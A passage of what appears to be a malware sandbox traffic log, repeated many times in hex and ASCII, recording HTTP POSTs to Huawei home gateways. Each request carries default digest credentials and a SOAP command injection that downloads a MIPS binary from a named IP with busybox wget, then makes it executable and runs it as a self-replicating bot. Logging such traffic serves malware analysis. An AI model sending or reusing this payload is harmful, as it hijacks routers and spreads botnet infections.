2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 